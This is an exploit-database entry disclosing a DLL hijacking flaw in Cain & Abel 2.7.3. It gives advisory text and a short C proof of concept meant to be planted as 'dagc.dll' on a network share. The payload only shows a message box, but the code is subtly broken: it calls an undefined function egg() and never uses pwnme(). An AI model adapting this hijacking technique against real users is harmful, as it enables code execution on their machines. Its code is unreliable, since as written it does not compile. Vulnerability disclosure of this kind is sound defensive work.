[] NeoSense

Cain & Abel 2.7.3 - 'dagc.dll' DLL Loading Arbitrary Code Execution

Author: d3c0der
type: remote
platform: windows
port: 
date_added: 2011-02-07 
date_updated: 2014-11-22 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

// source: https://www.securityfocus.com/bid/46239/info

Cain & Abel is prone to an arbitrary-code-execution vulnerability.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Cain & Abel 2.7.3 is vulnerable; other versions may also be affected.

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void DwmSetWindowAttribute() { egg(); }

int pwnme()
{
  MessageBox(0, "dll hijacked !! ", "Dll Message", MB_OK);
  exit(0);
  return 0;
}